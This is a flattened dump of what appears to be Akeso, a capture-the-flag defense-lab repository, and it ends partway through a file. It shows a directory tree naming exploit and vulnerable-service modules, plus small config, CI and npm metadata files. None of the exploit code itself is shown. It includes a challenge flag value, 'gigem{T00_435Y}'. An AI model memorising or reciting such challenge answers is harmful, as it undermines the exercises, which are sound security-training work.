├── Akeso ├── __init__.py ├── Exploits │ ├── __init__.py │ ├── ExploitFrame.py │ ├── sampleExploit.py │ ├── mazeAttack.py │ └── SQLi.py ├── Services │ ├── __init__.py │ ├── maze │ │ └── __init__.py │ ├── shell │ │ └── __init__.py │ ├── SQLiSimple │ │ └── __init__.py │ ├── SampleService │ │ ├── __init__.py │ │ ├── flag.txt │ │ ├── over_write_var │ │ ├── Dockerfile │ │ └── SampleService.py │ ├── ApacheDirectoryTraversal │ │ └── __init__.py │ └── ServiceFrame.py ├── DefenseLab.py ├── ServiceManager.py └── config.py ├── examples ├── challenges │ ├── Maze │ │ ├── node_modules │ │ │ ├── mime │ │ │ │ ├── .npmignore │ │ │ │ ├── cli.js │ │ │ │ ├── build │ │ │ │ │ └── build.js │ │ │ │ └── LICENSE │ │ │ ├── .bin │ │ │ │ └── mime │ │ │ ├── qs │ │ │ │ ├── .eslintignore │ │ │ │ ├── test │ │ │ │ │ ├── index.js │ │ │ │ │ └── utils.js │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ ├── lib │ │ │ │ │ └── index.js │ │ │ │ └── .eslintrc │ │ │ ├── backo2 │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── History.md │ │ │ │ ├── component.json │ │ │ │ ├── test │ │ │ │ │ └── index.js │ │ │ │ └── Readme.md │ │ │ ├── blob │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── .zuul.yml │ │ │ │ └── README.md │ │ │ ├── indexof │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── Readme.md │ │ │ │ ├── component.json │ │ │ │ └── index.js │ │ │ ├── socket.io-adapter │ │ │ │ ├── .npmignore │ │ │ │ ├── node_modules │ │ │ │ │ └── debug │ │ │ │ │ │ ├── .jshintrc │ │ │ │ │ │ ├── .npmignore │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── component.json │ │ │ │ │ │ ├── bower.json │ │ │ │ │ │ └── Makefile │ │ │ │ ├── Readme.md │ │ │ │ └── History.md │ │ │ ├── after │ │ │ │ ├── .npmignore │ │ │ │ ├── .travis.yml │ │ │ │ ├── index.js │ │ │ │ └── LICENCE │ │ │ ├── debug │ │ │ │ ├── .jshintrc │ │ │ │ ├── .npmignore │ │ │ │ ├── component.json │ │ │ │ ├── bower.json │ │ │ │ └── Makefile │ │ │ ├── ipaddr.js │ │ │ │ ├── .npmignore │ │ │ │ ├── .travis.yml │ │ │ │ ├── bower.json │ │ │ │ ├── Cakefile │ │ │ │ └── LICENSE │ │ │ ├── parsejson │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── README.md │ │ │ │ ├── test.js │ │ │ │ └── index.js │ │ │ ├── parseuri │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── README.md │ │ │ │ └── History.md │ │ │ ├── xmlhttprequest-ssl │ │ │ │ ├── tests │ │ │ │ │ ├── testdata.txt │ │ │ │ │ ├── test-constants.js │ │ │ │ │ └── test-request-protocols.js │ │ │ │ ├── autotest.watchr │ │ │ │ └── example │ │ │ │ │ └── demo.js │ │ │ ├── base64id │ │ │ │ ├── .npmignore │ │ │ │ └── README.md │ │ │ ├── component-emitter │ │ │ │ ├── .npmignore │ │ │ │ ├── .travis.yml │ │ │ │ ├── Makefile │ │ │ │ ├── component.json │ │ │ │ └── bower.json │ │ │ ├── to-array │ │ │ │ ├── .npmignore │ │ │ │ ├── index.js │ │ │ │ ├── README.md │ │ │ │ └── LICENCE │ │ │ ├── callsite │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── History.md │ │ │ │ ├── index.js │ │ │ │ └── Readme.md │ │ │ ├── has-cors │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── component.json │ │ │ │ ├── History.md │ │ │ │ ├── Readme.md │ │ │ │ ├── index.js │ │ │ │ └── test.js │ │ │ ├── parseqs │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── README.md │ │ │ │ ├── index.js │ │ │ │ └── test.js │ │ │ ├── ultron │ │ │ │ ├── .npmignore │ │ │ │ └── .travis.yml │ │ │ ├── better-assert │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── example.js │ │ │ │ ├── History.md │ │ │ │ └── index.js │ │ │ ├── component-bind │ │ │ │ ├── .npmignore │ │ │ │ ├── Makefile │ │ │ │ ├── component.json │ │ │ │ ├── History.md │ │ │ │ └── index.js │ │ │ ├── component-inherit │ │ │ │ ├── .npmignore │ │ │ │ ├── History.md │ │ │ │ ├── index.js │ │ │ │ ├── component.json │ │ │ │ ├── Makefile │ │ │ │ ├── Readme.md │ │ │ │ └── test │ │ │ │ │ └── inherit.js │ │ │ ├── engine.io-parser │ │ │ │ ├── index.js │ │ │ │ ├── node_modules │ │ │ │ │ └── has-binary │ │ │ │ │ │ ├── Makefile │ │ │ │ │ │ ├── README.md │ │ │ │ │ │ ├── .npmignore │ │ │ │ │ │ └── History.md │ │ │ │ └── lib │ │ │ │ │ └── keys.js │ │ │ ├── object-component │ │ │ │ ├── .npmignore │ │ │ │ ├── History.md │ │ │ │ ├── component.json │ │ │ │ ├── Makefile │ │ │ │ └── Readme.md │ │ │ ├── cookie-signature │ │ │ │ ├── .npmignore │ │ │ │ └── History.md │ │ │ ├── engine.io-client │ │ │ │ ├── index.js │ │ │ │ ├── node_modules │ │ │ │ │ └── debug │ │ │ │ │ │ ├── .jshintrc │ │ │ │ │ │ ├── .npmignore │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── component.json │ │ │ │ │ │ ├── bower.json │ │ │ │ │ │ └── Makefile │ │ │ │ └── lib │ │ │ │ │ └── index.js │ │ │ ├── engine.io │ │ │ │ ├── node_modules │ │ │ │ │ └── debug │ │ │ │ │ │ ├── .jshintrc │ │ │ │ │ │ ├── .npmignore │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── component.json │ │ │ │ │ │ ├── bower.json │ │ │ │ │ │ └── Makefile │ │ │ │ ├── index.js │ │ │ │ └── lib │ │ │ │ │ └── transports │ │ │ │ │ └── index.js │ │ │ ├── has-binary │ │ │ │ ├── Makefile │ │ │ │ ├── README.md │ │ │ │ ├── .npmignore │ │ │ │ ├── History.md │ │ │ │ └── LICENSE │ │ │ ├── socket.io │ │ │ │ └── node_modules │ │ │ │ │ └── debug │ │ │ │ │ ├── .jshintrc │ │ │ │ │ ├── .npmignore │ │ │ │ │ ├── index.js │ │ │ │ │ ├── component.json │ │ │ │ │ ├── bower.json │ │ │ │ │ └── Makefile │ │ │ ├── base64-arraybuffer │ │ │ │ ├── .npmignore │ │ │ │ ├── .travis.yml │ │ │ │ └── README.md │ │ │ ├── socket.io-client │ │ │ │ ├── node_modules │ │ │ │ │ └── debug │ │ │ │ │ │ ├── .jshintrc │ │ │ │ │ │ ├── .npmignore │ │ │ │ │ │ ├── index.js │ │ │ │ │ │ ├── component.json │ │ │ │ │ │ ├── bower.json │ │ │ │ │ │ └── Makefile │ │ │ │ └── lib │ │ │ │ │ └── on.js │ │ │ ├── ms │ │ │ │ ├── .npmignore │ │ │ │ └── README.md │ │ │ ├── forwarded │ │ │ │ ├── HISTORY.md │ │ │ │ └── index.js │ │ │ ├── unpipe │ │ │ │ └── HISTORY.md │ │ │ ├── options │ │ │ │ ├── .npmignore │ │ │ │ └── Makefile │ │ │ ├── utils-merge │ │ │ │ ├── .travis.yml │ │ │ │ ├── index.js │ │ │ │ ├── README.md │ │ │ │ └── LICENSE │ │ │ ├── ws │ │ │ │ ├── .npmignore │ │ │ │ ├── lib │ │ │ │ │ ├── Validation.fallback.js │ │ │ │ │ ├── BufferUtil.js │ │ │ │ │ ├── Validation.js │ │ │ │ │ └── ErrorCodes.js │ │ │ │ └── .travis.yml │ │ │ ├── arraybuffer.slice │ │ │ │ ├── Makefile │ │ │ │ ├── .npmignore │ │ │ │ └── index.js │ │ │ ├── isarray │ │ │ │ ├── index.js │ │ │ │ └── component.json │ │ │ ├── mime-db │ │ │ │ └── index.js │ │ │ ├── encodeurl │ │ │ │ └── HISTORY.md │ │ │ ├── inherits │ │ │ │ ├── inherits.js │ │ │ │ ├── inherits_browser.js │ │ │ │ └── LICENSE │ │ │ ├── express │ │ │ │ ├── index.js │ │ │ │ └── lib │ │ │ │ │ └── middleware │ │ │ │ │ ├── init.js │ │ │ │ │ └── query.js │ │ │ ├── socket.io-parser │ │ │ │ └── is-buffer.js │ │ │ ├── content-type │ │ │ │ └── HISTORY.md │ │ │ ├── setprototypeof │ │ │ │ ├── index.js │ │ │ │ ├── README.md │ │ │ │ └── LICENSE │ │ │ ├── depd │ │ │ │ └── lib │ │ │ │ │ └── compat │ │ │ │ │ ├── event-listener-count.js │ │ │ │ │ └── buffer-concat.js │ │ │ ├── merge-descriptors │ │ │ │ └── HISTORY.md │ │ │ ├── media-typer │ │ │ │ └── HISTORY.md │ │ │ ├── methods │ │ │ │ └── HISTORY.md │ │ │ ├── vary │ │ │ │ └── HISTORY.md │ │ │ ├── fresh │ │ │ │ └── HISTORY.md │ │ │ ├── path-to-regexp │ │ │ │ └── History.md │ │ │ ├── escape-html │ │ │ │ └── Readme.md │ │ │ ├── content-disposition │ │ │ │ └── HISTORY.md │ │ │ ├── parseurl │ │ │ │ └── HISTORY.md │ │ │ ├── range-parser │ │ │ │ └── HISTORY.md │ │ │ ├── statuses │ │ │ │ └── HISTORY.md │ │ │ └── json3 │ │ │ │ └── LICENSE │ │ ├── public │ │ │ ├── block.jpg │ │ │ ├── phaser.png │ │ │ └── boundary.jpg │ │ ├── .gitlab-ci.yml │ │ ├── tests │ │ │ └── entry.sh │ │ ├── Dockerfile │ │ ├── package.json │ │ ├── mazeAttack.py │ │ └── server │ │ │ └── player.js │ ├── README.md │ ├── SQLi │ │ ├── README.md │ │ ├── tests │ │ │ └── entry.sh │ │ ├── db_gen.sh │ │ └── index.html │ ├── shell-plugin │ │ ├── ctfd │ │ │ ├── CTFd │ │ │ │ ├── logs │ │ │ │ │ └── .gitkeep │ │ │ │ ├── plugins │ │ │ │ │ ├── shell-plugin │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ └── shell-templates │ │ │ │ │ │ │ └── shell.html │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── challenges │ │ │ │ │ │ └── __init__.py │ │ │ │ │ └── keys │ │ │ │ │ │ └── __init__.py │ │ │ │ ├── ctfd.db │ │ │ │ ├── static │ │ │ │ │ ├── original │ │ │ │ │ │ ├── img │ │ │ │ │ │ │ ├── ctfd.ai │ │ │ │ │ │ │ ├── logo.png │ │ │ │ │ │ │ ├── favicon.ico │ │ │ │ │ │ │ └── logo_old.png │ │ │ │ │ │ ├── fonts │ │ │ │ │ │ │ ├── lato │ │ │ │ │ │ │ │ ├── lato-v11-latin-regular.eot │ │ │ │ │ │ │ │ ├── lato-v11-latin-regular.ttf │ │ │ │ │ │ │ │ ├── lato-v11-latin-regular.woff │ │ │ │ │ │ │ │ └── lato-v11-latin-regular.woff2 │ │ │ │ │ │ │ └── raleway │ │ │ │ │ │ │ │ ├── raleway-v10-latin-500.eot │ │ │ │ │ │ │ │ ├── raleway-v10-latin-500.ttf │ │ │ │ │ │ │ │ ├── raleway-v10-latin-500.woff │ │ │ │ │ │ │ │ └── raleway-v10-latin-500.woff2 │ │ │ │ │ │ ├── css │ │ │ │ │ │ │ └── vendor │ │ │ │ │ │ │ │ ├── font-awesome │ │ │ │ │ │ │ │ ├── less │ │ │ │ │ │ │ │ │ ├── fixed-width.less │ │ │ │ │ │ │ │ │ ├── larger.less │ │ │ │ │ │ │ │ │ ├── list.less │ │ │ │ │ │ │ │ │ ├── core.less │ │ │ │ │ │ │ │ │ ├── font-awesome.less │ │ │ │ │ │ │ │ │ ├── stacked.less │ │ │ │ │ │ │ │ │ ├── bordered-pulled.less │ │ │ │ │ │ │ │ │ ├── rotated-flipped.less │ │ │ │ │ │ │ │ │ ├── path.less │ │ │ │ │ │ │ │ │ ├── animated.less │ │ │ │ │ │ │ │ │ └── mixins.less │ │ │ │ │ │ │ │ ├── scss │ │ │ │ │ │ │ │ │ ├── _fixed-width.scss │ │ │ │ │ │ │ │ │ ├── _larger.scss │ │ │ │ │ │ │ │ │ ├── _list.scss │ │ │ │ │ │ │ │ │ ├── font-awesome.scss │ │ │ │ │ │ │ │ │ ├── _core.scss │ │ │ │ │ │ │ │ │ ├── _stacked.scss │ │ │ │ │ │ │ │ │ ├── _bordered-pulled.scss │ │ │ │ │ │ │ │ │ ├── _rotated-flipped.scss │ │ │ │ │ │ │ │ │ ├── _path.scss │ │ │ │ │ │ │ │ │ ├── _animated.scss │ │ │ │ │ │ │ │ │ └── _mixins.scss │ │ │ │ │ │ │ │ ├── fonts │ │ │ │ │ │ │ │ │ ├── FontAwesome.otf │ │ │ │ │ │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ │ │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ │ │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ │ │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ │ │ │ │ │ └── HELP-US-OUT.txt │ │ │ │ │ │ │ │ ├── lato.css │ │ │ │ │ │ │ │ └── raleway.css │ │ │ │ │ │ └── js │ │ │ │ │ │ │ └── templates │ │ │ │ │ │ │ └── challenges │ │ │ │ │ │ │ └── standard │ │ │ │ │ │ │ └── standard-challenge-script.js │ │ │ │ │ └── admin │ │ │ │ │ │ ├── fonts │ │ │ │ │ │ ├── lato │ │ │ │ │ │ │ ├── lato-v11-latin-regular.eot │ │ │ │ │ │ │ ├── lato-v11-latin-regular.ttf │ │ │ │ │ │ │ ├── lato-v11-latin-regular.woff │ │ │ │ │ │ │ └── lato-v11-latin-regular.woff2 │ │ │ │ │ │ └── raleway │ │ │ │ │ │ │ ├── raleway-v10-latin-500.eot │ │ │ │ │ │ │ ├── raleway-v10-latin-500.ttf │ │ │ │ │ │ │ ├── raleway-v10-latin-500.woff │ │ │ │ │ │ │ └── raleway-v10-latin-500.woff2 │ │ │ │ │ │ ├── css │ │ │ │ │ │ └── vendor │ │ │ │ │ │ │ ├── font-awesome │ │ │ │ │ │ │ ├── less │ │ │ │ │ │ │ │ ├── fixed-width.less │ │ │ │ │ │ │ │ ├── larger.less │ │ │ │ │ │ │ │ ├── list.less │ │ │ │ │ │ │ │ ├── core.less │ │ │ │ │ │ │ │ ├── font-awesome.less │ │ │ │ │ │ │ │ ├── stacked.less │ │ │ │ │ │ │ │ ├── bordered-pulled.less │ │ │ │ │ │ │ │ ├── rotated-flipped.less │ │ │ │ │ │ │ │ ├── path.less │ │ │ │ │ │ │ │ ├── animated.less │ │ │ │ │ │ │ │ └── mixins.less │ │ │ │ │ │ │ ├── scss │ │ │ │ │ │ │ │ ├── _fixed-width.scss │ │ │ │ │ │ │ │ ├── _larger.scss │ │ │ │ │ │ │ │ ├── _list.scss │ │ │ │ │ │ │ │ ├── font-awesome.scss │ │ │ │ │ │ │ │ ├── _core.scss │ │ │ │ │ │ │ │ ├── _stacked.scss │ │ │ │ │ │ │ │ ├── _bordered-pulled.scss │ │ │ │ │ │ │ │ ├── _rotated-flipped.scss │ │ │ │ │ │ │ │ ├── _path.scss │ │ │ │ │ │ │ │ ├── _animated.scss │ │ │ │ │ │ │ │ └── _mixins.scss │ │ │ │ │ │ │ ├── fonts │ │ │ │ │ │ │ │ ├── FontAwesome.otf │ │ │ │ │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ │ │ │ │ └── HELP-US-OUT.txt │ │ │ │ │ │ │ ├── lato.css │ │ │ │ │ │ │ └── raleway.css │ │ │ │ │ │ └── js │ │ │ │ │ │ └── templates │ │ │ │ │ │ ├── keys │ │ │ │ │ │ ├── regex │ │ │ │ │ │ │ ├── regex.hbs │ │ │ │ │ │ │ └── edit-regex-modal.hbs │ │ │ │ │ │ └── static │ │ │ │ │ │ │ ├── static.hbs │ │ │ │ │ │ │ └── edit-static-modal.hbs │ │ │ │ │ │ ├── challenges │ │ │ │ │ │ └── standard │ │ │ │ │ │ │ └── standard-challenge-create.js │ │ │ │ │ │ └── admin-keys-table.hbs │ │ │ │ └── templates │ │ │ │ │ ├── original │ │ │ │ │ ├── page.html │ │ │ │ │ └── errors │ │ │ │ │ │ ├── 502.html │ │ │ │ │ │ ├── 500.html │ │ │ │ │ │ ├── 403.html │ │ │ │ │ │ └── 404.html │ │ │ │ │ └── admin │ │ │ │ │ └── statistics.html │ │ │ ├── tests │ │ │ │ ├── __init__.py │ │ │ │ └── test_utils.py │ │ │ ├── migrations │ │ │ │ ├── README │ │ │ │ ├── script.py.mako │ │ │ │ ├── versions │ │ │ │ │ ├── a4e30c94c360_adds_data_column_to_keys_table.py │ │ │ │ │ └── d6514ec92738_adding_max_attempts_to_challenges.py │ │ │ │ └── alembic.ini │ │ │ ├── wsgi.py │ │ │ ├── setup.cfg │ │ │ ├── development.txt │ │ │ ├── prepare.sh │ │ │ ├── serve.py │ │ │ ├── .travis.yml │ │ │ ├── import.py │ │ │ ├── manage.py │ │ │ ├── requirements.txt │ │ │ ├── CHANGELOG.md │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ ├── docker-entrypoint.sh │ │ │ ├── README.md │ │ │ └── .gitignore │ │ ├── .gitlab-ci.yml │ │ ├── change-user-pass.sh │ │ ├── add-user.sh │ │ ├── tests │ │ │ └── entry.sh │ │ ├── requirements.txt │ │ ├── Dockerfile │ │ └── script_server.py │ └── Apache │ │ ├── README.md │ │ └── tests │ │ └── entry.sh ├── ci_example_1.PNG ├── ci_example_2.PNG ├── challenge_view.PNG ├── simple_solution.PNG ├── example_.gitlab-ci.yml └── example_entry.sh ├── requirements.txt ├── .gitignore ├── .travis.yml ├── setup.py ├── tests ├── test_ServiceManager.py └── test_config.py ├── tox.ini ├── setup.sh └── LICENSE /Akeso/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Exploits/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Services/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Services/maze/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Services/shell/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Services/SQLiSimple/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Services/SampleService/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Akeso/Services/ApacheDirectoryTraversal/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/mime/.npmignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/README.md: -------------------------------------------------------------------------------- 1 | # Past Challenges 2 | -------------------------------------------------------------------------------- /Akeso/Services/SampleService/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{T00_435Y} 2 | -------------------------------------------------------------------------------- /examples/challenges/SQLi/README.md: -------------------------------------------------------------------------------- 1 | # SQLi 2 | 3 | 4 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/logs/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/tests/test_utils.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/.bin/mime: -------------------------------------------------------------------------------- 1 | ../mime/cli.js -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/qs/.eslintignore: -------------------------------------------------------------------------------- 1 | dist 2 | -------------------------------------------------------------------------------- /examples/challenges/Apache/README.md: -------------------------------------------------------------------------------- 1 | # Apache Config 2 | 3 | 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/backo2/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | docker 2 | pika 3 | structlog 4 | pytest 5 | mock 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.swp 3 | .tox 4 | .pytest_cache 5 | *venv 6 | MANIFEST 7 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/blob/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | blob.js 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/indexof/.npmignore: -------------------------------------------------------------------------------- 1 | components 2 | build 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/after/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .monitor 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/debug/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "laxbreak": true 3 | } 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ipaddr.js/.npmignore: -------------------------------------------------------------------------------- 1 | .idea 2 | node_modules 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parsejson/.npmignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseuri/.npmignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .node_modules/* -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/xmlhttprequest-ssl/tests/testdata.txt: -------------------------------------------------------------------------------- 1 | Hello World -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/base64id/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-emitter/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | test 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/to-array/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | *.log 3 | *.err -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/migrations/README: -------------------------------------------------------------------------------- 1 | Generic single-database configuration. -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/callsite/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | *.sock 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/.npmignore: -------------------------------------------------------------------------------- 1 | components 2 | build 3 | node_modules 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseqs/.npmignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | npm-debug.log -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ultron/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | coverage 3 | .tern-port 4 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/plugins/shell-plugin/__init__.py: -------------------------------------------------------------------------------- 1 | from shell import load 2 | -------------------------------------------------------------------------------- /examples/ci_example_1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/ci_example_1.PNG -------------------------------------------------------------------------------- /examples/ci_example_2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/ci_example_2.PNG -------------------------------------------------------------------------------- /examples/challenge_view.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/challenge_view.PNG -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/better-assert/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | *.sock 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-bind/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | *.sock 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/.npmignore: -------------------------------------------------------------------------------- 1 | components 2 | build 3 | node_modules 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-parser/index.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = require('./lib/'); 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/object-component/.npmignore: -------------------------------------------------------------------------------- 1 | components 2 | build 3 | node_modules 4 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/wsgi.py: -------------------------------------------------------------------------------- 1 | from CTFd import create_app 2 | 3 | app = create_app() 4 | -------------------------------------------------------------------------------- /examples/simple_solution.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ameserole/Akeso/HEAD/examples/simple_solution.PNG -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/cookie-signature/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | *.sock 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/index.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = require('./lib/index'); 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/node_modules/debug/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "laxbreak": true 3 | } 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-binary/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha test.js 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseqs/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha test.js 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseuri/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha test.js 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io/node_modules/debug/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "laxbreak": true 3 | } 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/base64-arraybuffer/.npmignore: -------------------------------------------------------------------------------- 1 | /node_modules/ 2 | Gruntfile.js 3 | /test/ 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/better-assert/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @echo "populate me" 4 | 5 | .PHONY: test -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/node_modules/debug/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "laxbreak": true 3 | } 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parsejson/Makefile: -------------------------------------------------------------------------------- 1 | 2 | test: 3 | @./node_modules/.bin/mocha test.js 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parsejson/README.md: -------------------------------------------------------------------------------- 1 | # parsejson 2 | engine.io-client JSON-parsing module 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/node_modules/debug/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "laxbreak": true 3 | } 4 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-emitter/.travis.yml: -------------------------------------------------------------------------------- 1 | node_js: 2 | - "0.8" 3 | - "0.10" 4 | language: node_js -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/debug/.npmignore: -------------------------------------------------------------------------------- 1 | support 2 | test 3 | examples 4 | example 5 | *.sock 6 | dist 7 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parseuri/README.md: -------------------------------------------------------------------------------- 1 | # parseuri 2 | Module for parsing URI's in engine.io-client 3 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/node_modules/debug/.jshintrc: -------------------------------------------------------------------------------- 1 | { 2 | "laxbreak": true 3 | } 4 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: false 2 | language: python 3 | python: 4 | - "2.7" 5 | install: pip install tox-travis 6 | script: tox 7 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/after/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - 0.6 4 | - 0.8 5 | - 0.9 6 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ms/.npmignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | test 3 | History.md 4 | Makefile 5 | component.json 6 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/setup.cfg: -------------------------------------------------------------------------------- 1 | [nosetests] 2 | stop=1 3 | verbosity=2 4 | with-coverage=1 5 | cover-package=CTFd -------------------------------------------------------------------------------- /examples/example_.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | image: tamuctf/sql:latest 2 | 3 | test: 4 | script: 5 | - "./tests/entry.sh" 6 | 7 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/forwarded/HISTORY.md: -------------------------------------------------------------------------------- 1 | 0.1.0 / 2014-09-21 2 | ================== 3 | 4 | * Initial release 5 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/unpipe/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.0.0 / 2015-06-14 2 | ================== 3 